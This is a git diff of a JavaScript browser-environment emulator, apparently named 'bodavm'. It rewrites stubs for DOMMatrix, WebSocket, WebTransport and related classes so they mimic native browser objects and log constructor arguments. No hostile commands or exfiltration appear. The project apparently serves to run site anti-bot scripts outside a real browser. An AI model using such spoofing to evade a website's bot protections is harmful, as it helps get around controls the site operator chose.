enumerable:true, writable:true, value:function multiplySelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "multiplySelf", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "preMultiplySelf", {configurable:true, enumerable:true, writable:true, value:function preMultiplySelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "preMultiplySelf", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "rotateAxisAngleSelf", {configurable:true, enumerable:true, writable:true, value:function rotateAxisAngleSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "rotateAxisAngleSelf", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "rotateFromVectorSelf", {configurable:true, enumerable:true, writable:true, value:function rotateFromVectorSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "rotateFromVectorSelf", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "rotateSelf", {configurable:true, enumerable:true, writable:true, value:function rotateSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "rotateSelf", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "scale3dSelf", {configurable:true, enumerable:true, writable:true, value:function scale3dSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "scale3dSelf", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "scaleSelf", {configurable:true, enumerable:true, writable:true, value:function scaleSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "scaleSelf", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "skewXSelf", {configurable:true, enumerable:true, writable:true, value:function skewXSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "skewXSelf", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "skewYSelf", {configurable:true, enumerable:true, writable:true, value:function skewYSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "skewYSelf", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "translateSelf", {configurable:true, enumerable:true, writable:true, value:function translateSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "translateSelf", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "setMatrixValue", {configurable:true, enumerable:true, writable:true, value:function setMatrixValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "setMatrixValue", arguments)}},'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/WebKitMutationObserver.js b/env_xbb_lastest_jsdom/env/WebKitMutationObserver.js index 18ffb018..dcdadb30 100644 --- a/env_xbb_lastest_jsdom/env/WebKitMutationObserver.js +++ b/env_xbb_lastest_jsdom/env/WebKitMutationObserver.js @@ -1,6 +1,3 @@ -// MutationObserver对象 -bodavm.memory.globalobj['MutationObserver'] = function MutationObserver(){if (!(this instanceof MutationObserver)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MutationObserver': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MutationObserver'], "MutationObserver"); -bodavm.toolsFunc.defineProperty('MutationObserver', "disconnect", {configurable:true, enumerable:true, writable:true, value:function disconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationObserver'].prototype, "MutationObserver", "disconnect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MutationObserver', "observe", {configurable:true, enumerable:true, writable:true, value:function observe (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationObserver'].prototype, "MutationObserver", "observe", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MutationObserver', "takeRecords", {configurable:true, enumerable:true, writable:true, value:function takeRecords (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationObserver'].prototype, "MutationObserver", "takeRecords", arguments)}},'prototype'); +// WebKitMutationObserver + +WebKitMutationObserver = bodavm.memory.globalobj['MutationObserver']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/WebSocket.js b/env_xbb_lastest_jsdom/env/WebSocket.js index 0debe4e0..50aa3e97 100644 --- a/env_xbb_lastest_jsdom/env/WebSocket.js +++ b/env_xbb_lastest_jsdom/env/WebSocket.js @@ -1,25 +1,173 @@ -// WebSocket对象 -bodavm.memory.globalobj['WebSocket'] = function WebSocket(){if (!(this instanceof WebSocket)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'WebSocket': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebSocket'], "WebSocket"); -bodavm.memory.globalobj['WebSocket'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['WebSocket'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('WebSocket', "CONNECTING", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('WebSocket', "OPEN", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('WebSocket', "CLOSING", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('WebSocket', "CLOSED", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('WebSocket', "url", {configurable:true, enumerable:true, get:function url (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "url_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebSocket', "readyState", {configurable:true, enumerable:true, get:function readyState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "readyState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebSocket', "bufferedAmount", {configurable:true, enumerable:true, get:function bufferedAmount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "bufferedAmount_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebSocket', "onopen", {configurable:true, enumerable:true, get:function onopen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onopen_get", arguments)}, set:function onopen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onopen_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebSocket', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebSocket', "onclose", {configurable:true, enumerable:true, get:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onclose_get", arguments)}, set:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onclose_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebSocket', "extensions", {configurable:true, enumerable:true, get:function extensions (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "extensions_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebSocket', "protocol", {configurable:true, enumerable:true, get:function protocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "protocol_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebSocket', "onmessage", {configurable:true, enumerable:true, get:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onmessage_get", arguments)}, set:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onmessage_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebSocket', "binaryType", {configurable:true, enumerable:true, get:function binaryType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "binaryType_get", arguments)}, set:function binaryType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "binaryType_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebSocket', "CONNECTING", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('WebSocket', "OPEN", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('WebSocket', "CLOSING", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('WebSocket', "CLOSED", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('WebSocket', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebSocket', "send", {configurable:true, enumerable:true, writable:true, value:function send (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "send", arguments)}},'prototype'); +// WebSocket对象 + +bodavm.memory.globalobj['WebSocket'] = function WebSocket() { + console.log_copy('WebSocket 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebSocket)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'WebSocket': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebSocket'], "WebSocket"); +bodavm.memory.globalobj['WebSocket'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['WebSocket'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('WebSocket', "CONNECTING", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('WebSocket', "OPEN", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('WebSocket', "CLOSING", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('WebSocket', "CLOSED", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('WebSocket', "url", { + configurable: true, + enumerable: true, + get: function url() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "url_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "readyState", { + configurable: true, + enumerable: true, + get: function readyState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "readyState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "bufferedAmount", { + configurable: true, + enumerable: true, + get: function bufferedAmount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "bufferedAmount_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "onopen", { + configurable: true, + enumerable: true, + get: function onopen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onopen_get", arguments); + }, + set: function onopen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onopen_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "onclose", { + configurable: true, + enumerable: true, + get: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onclose_get", arguments); + }, + set: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onclose_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "extensions", { + configurable: true, + enumerable: true, + get: function extensions() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "extensions_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "protocol", { + configurable: true, + enumerable: true, + get: function protocol() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "protocol_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "onmessage", { + configurable: true, + enumerable: true, + get: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onmessage_get", arguments); + }, + set: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onmessage_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "binaryType", { + configurable: true, + enumerable: true, + get: function binaryType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "binaryType_get", arguments); + }, + set: function binaryType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "binaryType_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "CONNECTING", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "OPEN", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "CLOSING", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "CLOSED", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "send", { + configurable: true, + enumerable: true, + writable: true, + value: function send() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "send", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/WebTransport.js b/env_xbb_lastest_jsdom/env/WebTransport.js index f83f5173..3c7c8642 100644 --- a/env_xbb_lastest_jsdom/env/WebTransport.js +++ b/env_xbb_lastest_jsdom/env/WebTransport.js @@ -1,11 +1,81 @@ -// WebTransport对象 -bodavm.memory.globalobj['WebTransport'] = function WebTransport(){if (!(this instanceof WebTransport)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'WebTransport': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebTransport'], "WebTransport"); -bodavm.toolsFunc.defineProperty('WebTransport', "incomingUnidirectionalStreams", {configurable:true, enumerable:true, get:function incomingUnidirectionalStreams (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransport'].prototype, "WebTransport", "incomingUnidirectionalStreams_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebTransport', "incomingBidirectionalStreams", {configurable:true, enumerable:true, get:function incomingBidirectionalStreams (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransport'].prototype, "WebTransport", "incomingBidirectionalStreams_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebTransport', "datagrams", {configurable:true, enumerable:true, get:function datagrams (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransport'].prototype, "WebTransport", "datagrams_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebTransport', "ready", {configurable:true, enumerable:true, get:function ready (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransport'].prototype, "WebTransport", "ready_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebTransport', "closed", {configurable:true, enumerable:true, get:function closed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransport'].prototype, "WebTransport", "closed_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebTransport', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransport'].prototype, "WebTransport", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebTransport', "createBidirectionalStream", {configurable:true, enumerable:true, writable:true, value:function createBidirectionalStream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransport'].prototype, "WebTransport", "createBidirectionalStream", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebTransport', "createUnidirectionalStream", {configurable:true, enumerable:true, writable:true, value:function createUnidirectionalStream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransport'].prototype, "WebTransport", "createUnidirectionalStream", arguments)}},'prototype'); +// WebTransport对象 + +bodavm.memory.globalobj['WebTransport'] = function WebTransport() { + console.log_copy('WebTransport 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebTransport)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'WebTransport': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebTransport'], "WebTransport"); +bodavm.toolsFunc.defineProperty('WebTransport', "incomingUnidirectionalStreams", { + configurable: true, + enumerable: true, + get: function incomingUnidirectionalStreams() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransport'].prototype, "WebTransport", "incomingUnidirectionalStreams_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebTransport', "incomingBidirectionalStreams", { + configurable: true, + enumerable: true, + get: function incomingBidirectionalStreams() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransport'].prototype, "WebTransport", "incomingBidirectionalStreams_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebTransport', "datagrams", { + configurable: true, + enumerable: true, + get: function datagrams() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransport'].prototype, "WebTransport", "datagrams_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebTransport', "ready", { + configurable: true, + enumerable: true, + get: function ready() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransport'].prototype, "WebTransport", "ready_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebTransport', "closed", { + configurable: true, + enumerable: true, + get: function closed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransport'].prototype, "WebTransport", "closed_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebTransport', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransport'].prototype, "WebTransport", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebTransport', "createBidirectionalStream", { + configurable: true, + enumerable: true, + writable: true, + value: function createBidirectionalStream() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransport'].prototype, "WebTransport", "createBidirectionalStream", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebTransport', "createUnidirectionalStream", { + configurable: true, + enumerable: true, + writable: true, + value: function createUnidirectionalStream() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransport'].prototype, "WebTransport", "createUnidirectionalStream", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/WebTransportBidirectionalStream.js b/env_xbb_lastest_jsdom/env/WebTransportBidirectionalStream.js index 9ceb8b7f..d1f98ecb 100644 --- a/env_xbb_lastest_jsdom/env/WebTransportBidirectionalStream.js +++ b/env_xbb_lastest_jsdom/env/WebTransportBidirectionalStream.js @@ -1,5 +1,33 @@ -// WebTransportBidirectionalStream对象 -bodavm.memory.globalobj['WebTransportBidirectionalStream'] = function WebTransportBidirectionalStream(){if (!(this instanceof WebTransportBidirectionalStream)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebTransportBidirectionalStream'], "WebTransportBidirectionalStream"); -bodavm.toolsFunc.defineProperty('WebTransportBidirectionalStream', "readable", {configurable:true, enumerable:true, get:function readable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportBidirectionalStream'].prototype, "WebTransportBidirectionalStream", "readable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebTransportBidirectionalStream', "writable", {configurable:true, enumerable:true, get:function writable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportBidirectionalStream'].prototype, "WebTransportBidirectionalStream", "writable_get", arguments)}, set:undefined},'prototype'); +// WebTransportBidirectionalStream对象 + +bodavm.memory.globalobj['WebTransportBidirectionalStream'] = function WebTransportBidirectionalStream() { + console.log_copy('WebTransportBidirectionalStream 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebTransportBidirectionalStream)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebTransportBidirectionalStream'], "WebTransportBidirectionalStream"); +bodavm.toolsFunc.defineProperty('WebTransportBidirectionalStream', "readable", { + configurable: true, + enumerable: true, + get: function readable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportBidirectionalStream'].prototype, "WebTransportBidirectionalStream", "readable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebTransportBidirectionalStream', "writable", { + configurable: true, + enumerable: true, + get: function writable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportBidirectionalStream'].prototype, "WebTransportBidirectionalStream", "writable_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/WebTransportDatagramDuplexStream.js b/env_xbb_lastest_jsdom/env/WebTransportDatagramDuplexStream.js index 71304090..867e3831 100644 --- a/env_xbb_lastest_jsdom/env/WebTransportDatagramDuplexStream.js +++ b/env_xbb_lastest_jsdom/env/WebTransportDatagramDuplexStream.js @@ -1,10 +1,81 @@ -// WebTransportDatagramDuplexStream对象 -bodavm.memory.globalobj['WebTransportDatagramDuplexStream'] = function WebTransportDatagramDuplexStream(){if (!(this instanceof WebTransportDatagramDuplexStream)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebTransportDatagramDuplexStream'], "WebTransportDatagramDuplexStream"); -bodavm.toolsFunc.defineProperty('WebTransportDatagramDuplexStream', "readable", {configurable:true, enumerable:true, get:function readable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "readable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebTransportDatagramDuplexStream', "writable", {configurable:true, enumerable:true, get:function writable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "writable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebTransportDatagramDuplexStream', "maxDatagramSize", {configurable:true, enumerable:true, get:function maxDatagramSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "maxDatagramSize_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebTransportDatagramDuplexStream', "incomingMaxAge", {configurable:true, enumerable:true, get:function incomingMaxAge (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "incomingMaxAge_get", arguments)}, set:function incomingMaxAge (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "incomingMaxAge_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebTransportDatagramDuplexStream', "outgoingMaxAge", {configurable:true, enumerable:true, get:function outgoingMaxAge (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "outgoingMaxAge_get", arguments)}, set:function outgoingMaxAge (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "outgoingMaxAge_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebTransportDatagramDuplexStream', "incomingHighWaterMark", {configurable:true, enumerable:true, get:function incomingHighWaterMark (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "incomingHighWaterMark_get", arguments)}, set:function incomingHighWaterMark (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "incomingHighWaterMark_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebTransportDatagramDuplexStream', "outgoingHighWaterMark", {configurable:true, enumerable:true, get:function outgoingHighWaterMark (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "outgoingHighWaterMark_get", arguments)}, set:function outgoingHighWaterMark (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "outgoingHighWaterMark_set", arguments)}},'prototype'); +// WebTransportDatagramDuplexStream对象 + +bodavm.memory.globalobj['WebTransportDatagramDuplexStream'] = function WebTransportDatagramDuplexStream() { + console.log_copy('WebTransportDatagramDuplexStream 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebTransportDatagramDuplexStream)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebTransportDatagramDuplexStream'], "WebTransportDatagramDuplexStream"); +bodavm.toolsFunc.defineProperty('WebTransportDatagramDuplexStream', "readable", { + configurable: true, + enumerable: true, + get: function readable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "readable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebTransportDatagramDuplexStream', "writable", { + configurable: true, + enumerable: true, + get: function writable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "writable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebTransportDatagramDuplexStream', "maxDatagramSize", { + configurable: true, + enumerable: true, + get: function maxDatagramSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "maxDatagramSize_get", arguments); + }, + set: undefined +}, 'prototype'); 